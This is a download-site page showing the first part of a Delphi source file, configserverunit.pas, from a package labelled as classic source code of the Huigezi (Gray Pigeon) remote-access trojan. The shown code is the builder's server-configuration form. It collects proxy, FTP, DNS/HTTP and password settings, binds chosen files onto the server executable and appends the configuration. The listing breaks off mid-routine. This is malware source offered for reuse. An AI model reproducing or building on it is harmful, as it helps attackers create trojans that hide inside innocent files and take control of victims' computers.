⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 configserverunit.pas

📁 灰鸽子VIP1.2经典源代码
💻 PAS
📖 第 1 页 / 共 2 页
字号:
unit ConfigServerUnit;



interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, DynamicSkinForm, SkinCtrls, ComCtrls, SkinBoxCtrls, StdCtrls,
  Mask, ExtCtrls, SkinTabs, jpeg, ShellApi,DESCrypt, LangFrm;

type
  FILE_INFO=record
    Filename:array[0..MAX_PATH] of char;
    Por:array[0..MAX_PATH] of char;
    isopen:integer;
    len:integer;
  end;


type
  TConfigServer = class(TLangForm)
    SaveDialog1: TSaveDialog;
    PageControl6: TspSkinPageControl;
    TabSheet1: TspSkinTabSheet;
    TabSheet2: TspSkinTabSheet;
    Label8: TspSkinStdLabel;
    ComboBox1: TspSkinComboBox;
    Label9: TspSkinStdLabel;
    ComboBox2: TspSkinComboBox;
    CheckBox1: TspSkinCheckRadioBox;
    CheckBox2: TspSkinCheckRadioBox;
    TabSheet3: TspSkinTabSheet;
    CheckBox6: TspSkinCheckRadioBox;
    Label10: TspSkinStdLabel;
    BtEdit: TspSkinEdit;
    Label11: TspSkinStdLabel;
    ZwEdit: TspSkinEdit;
    Label12: TspSkinStdLabel;
    ComboBox6: TspSkinComboBox;
    Label13: TspSkinStdLabel;
    ComboBox7: TspSkinComboBox;
    TabSheet4: TspSkinTabSheet;
    CheckBox3: TspSkinCheckRadioBox;
    spSkinPanel1: TspSkinPanel;
    OverEdit: TspSkinEdit;
    Label26: TspSkinStdLabel;
    NextButton: TspSkinButton;
    TabSheet5: TspSkinTabSheet;
    spSkinGroupBox1: TspSkinGroupBox;
    spSkinGroupBox2: TspSkinGroupBox;
    RadioBox5: TspSkinCheckRadioBox;
    Label20: TspSkinStdLabel;
    FtpPort: TspSkinEdit;
    Label21: TspSkinStdLabel;
    Ftpuser: TspSkinEdit;
    Label22: TspSkinStdLabel;
    Ftppass: TspSkinEdit;
    Banner: TspSkinEdit;
    Label23: TspSkinStdLabel;
    RadioBox10: TspSkinCheckRadioBox;
    Label17: TspSkinStdLabel;
    Socks5port: TspSkinEdit;
    Label18: TspSkinStdLabel;
    Socks5User: TspSkinEdit;
    Label19: TspSkinStdLabel;
    Socks5pass: TspSkinEdit;
    Button10: TspSkinButton;
    TabSheet6: TspSkinTabSheet;
    Label25: TspSkinStdLabel;
    spSkinEdit1: TspSkinEdit;
    spSkinButton1: TspSkinButton;
    CheckBox10: TspSkinCheckRadioBox;
    spSkinButton2: TspSkinButton;
    spSkinPanel2: TspSkinPanel;
    ListView1: TspSkinListView;
    spSkinScrollBar22: TspSkinScrollBar;
    spSkinScrollBar23: TspSkinScrollBar;
    Label24: TspSkinStdLabel;
    spSkinEdit2: TspSkinEdit;
    RadioBox1: TspSkinCheckRadioBox;
    Label14: TspSkinStdLabel;
    ServerView: TspSkinEdit;
    Label15: TspSkinStdLabel;
    ServerName: TspSkinEdit;
    Label16: TspSkinStdLabel;
    ServerText: TspSkinEdit;
    OpenDialog2: TOpenDialog;
    spDynamicSkinForm1: TspDynamicSkinForm;
    Label1: TspSkinStdLabel;
    com126Edit: TspSkinEdit;
    DnsEdit: TspSkinEdit;
    Label2: TspSkinStdLabel;
    httpEdit: TspSkinEdit;
    Label3: TspSkinStdLabel;
    Label4: TspSkinStdLabel;
    Passwd: TspSkinEdit;
    Label5: TspSkinStdLabel;
    Image2: TImage;
    UpDown1: TspSkinUpDown;
    GrEdit3: TspSkinEdit;
    Label6: TspSkinStdLabel;
    Label7: TspSkinStdLabel;
    BeizhuEdit: TspSkinEdit;
    procedure NextButtonClick(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure OverEditButtonClick(Sender: TObject);
    procedure CheckBox6Click(Sender: TObject);
    procedure RadioBox5Click(Sender: TObject);
    procedure RadioBox10Click(Sender: TObject);
    procedure Button10Click(Sender: TObject);
    procedure UpDown1Change(Sender: TObject);
    procedure spSkinEdit1ButtonClick(Sender: TObject);
    procedure spSkinButton1Click(Sender: TObject);
    procedure spSkinButton2Click(Sender: TObject);
    procedure RadioBox1Click(Sender: TObject);
    procedure FormShow(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }

    function JieMi(s:string):string;
    function JiaMi(s:string):string;
    
    procedure Setfile1;
  end;


var
  ConfigServer: TConfigServer;


implementation

uses
  Main,DlgshowUnit;


{$R *.dfm}


function TConfigServer.JieMi(s:string):string;
var str:String;
    i:integer;
    ch:char;
begin
  Result:=s;
end;

function TConfigServer.JiaMi(s:string):string;
var str:string;
    i:Integer;
    ch:char;
begin
   Result:=s;
end;


procedure TConfigServer.Setfile1;
 var
   i:integer;
   SS:integer;
   info:FILE_INFO;
   fstream1:Tfilestream;
   fstream2:Tfilestream;
   buf:array[0..4096] of byte;
   F:File;
   Str:array [1..100] of char;
   j,k,l,m,n:String;
   S:String;
   Each_size:array [1..27]of char;
   SfileSize:integer;
begin
   SfileSize:=0;
   try
   if ListView1.Items.Count>0 then
     begin
       try
       fstream1:=tfilestream.Create(pchar(OverEdit.text),fmopenreadwrite);
       fstream1.Seek(0,soFromEnd);
       SfileSize:=fstream1.Size;
       for i:=0 to ListView1.Items.Count-1 do
         begin
           Strpcopy(info.filename,extractfilename(ListView1.Items.Item[i].SubItems.Strings[0]));
           Strpcopy(info.Por,ListView1.Items.Item[i].SubItems.Strings[1]);
           fstream2:=tfilestream.Create(ListView1.Items.Item[i].SubItems.Strings[0],fmopenread);
           fstream2.Seek(0,soFromBeginning);
           info.len:=fstream2.Size;
           if ListView1.Items.Item[i].Checked then
             info.isopen:=1
           else
             info.isopen:=0;
           fstream1.Write(info,sizeof(info));
           while fstream2.Position<>fstream2.Size do
             begin
               SS:=fstream2.Read(buf,sizeof(buf));
               fstream1.Write(buf,SS);
             end;
           fstream2.free;
         end;
       finally
         fstream1.free;
       end;
     end;
   except
   end;

   AssignFile(F,OverEdit.text);
   FileMode:=2;
   Reset(F,1);
   Seek(F,Filesize(F));

   for i:=1 to 2 do Str[i]:=Char(0);
   j:=inttostr(ComboBox1.ItemIndex);
   S:=JiaMi(j);
   For i:=1 to length(S) do Str[i]:=S[i];
   Blockwrite(F,Str,length(S));
   Each_size[1]:=Char(length(S));

   for i:=1 to 100 do Str[i]:=Char(0);
   S:=JiaMi(ComboBox2.text);
   For i:=1 to length(S) do Str[i]:=S[i];
   Blockwrite(F,Str,length(S));
   Each_size[2]:=Char(length(S));

   for i:=1 to 3 do Str[i]:=Char(0);
   if CheckBox1.Checked then j:='1'
   else j:='0';
   if CheckBox2.Checked then k:='1'
   else k:='0';
   S:=JiaMi(j+k);
   For i:=1 to length(S) do Str[i]:=S[i];
   Blockwrite(F,str,length(S));
   Each_size[3]:=Char(length(S));

   for i:=1 to 3 do Str[i]:=Char(0);
      if CheckBox3.Checked then j:='1'
       else j:='0';
      if RadioBox1.Checked then k:='1'
       else k:='0';

   S:=JiaMi(j+k);
   For i:=1 to length(S) do Str[i]:=S[i];
   Blockwrite(F,Str,length(S));
   Each_size[4]:=Char(length(S));


   for i:=1 to 100 do Str[i]:=Char(0);
   S:=JiaMi(ServerView.Text);
   For i:=1 to length(S) do Str[i]:=S[i];
   Blockwrite(F,Str,length(S));
   Each_size[5]:=Char(length(S));

   for i:=1 to 100 do Str[i]:=char(0);
   S:=JiaMi(ServerName.Text);
   for i:=1 to Length(S) do Str[i]:=S[i];
   BlockWrite(F,Str,length(S));
   Each_size[6]:=char(length(s));

   for i:=1 to 100 do Str[i]:=Char(0);
   S:=JiaMi(ServerText.text);
   For i:=1 to length(S) do Str[i]:=S[i];
   Blockwrite(F,Str,length(S));
   Each_size[7]:=Char(length(S));


   for i:=1 to 4 do Str[i]:=Char(0);
   if CheckBox6.Checked then j:='1'
    else j:='0';
   k:=inttoStr(ComboBox6.ItemIndex);
   l:=inttoStr(ComboBox7.ItemIndex);
   S:=JiaMi(j+k+l);                     
   For i:=1 to length(S) do Str[i]:=S[i];
   Blockwrite(F,Str,length(S));
   Each_size[8]:=Char(length(S));

   for i:=1 to 100 do Str[i]:=Char(0);
   S:=JiaMi(BtEdit.Text);
   For i:=1 to length(S) do Str[i]:=S[i];
   Blockwrite(F,Str,length(S));
   Each_size[9]:=Char(length(S));

   for i:=1 to 100 do Str[i]:=Char(0);
   S:=JiaMi(ZwEdit.Text);
   For i:=1 to length(S) do Str[i]:=S[i];
   Blockwrite(F,Str,length(S));
   Each_size[10]:=Char(length(S));

   for i:=1 to 100 do Str[i]:=Char(0);

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -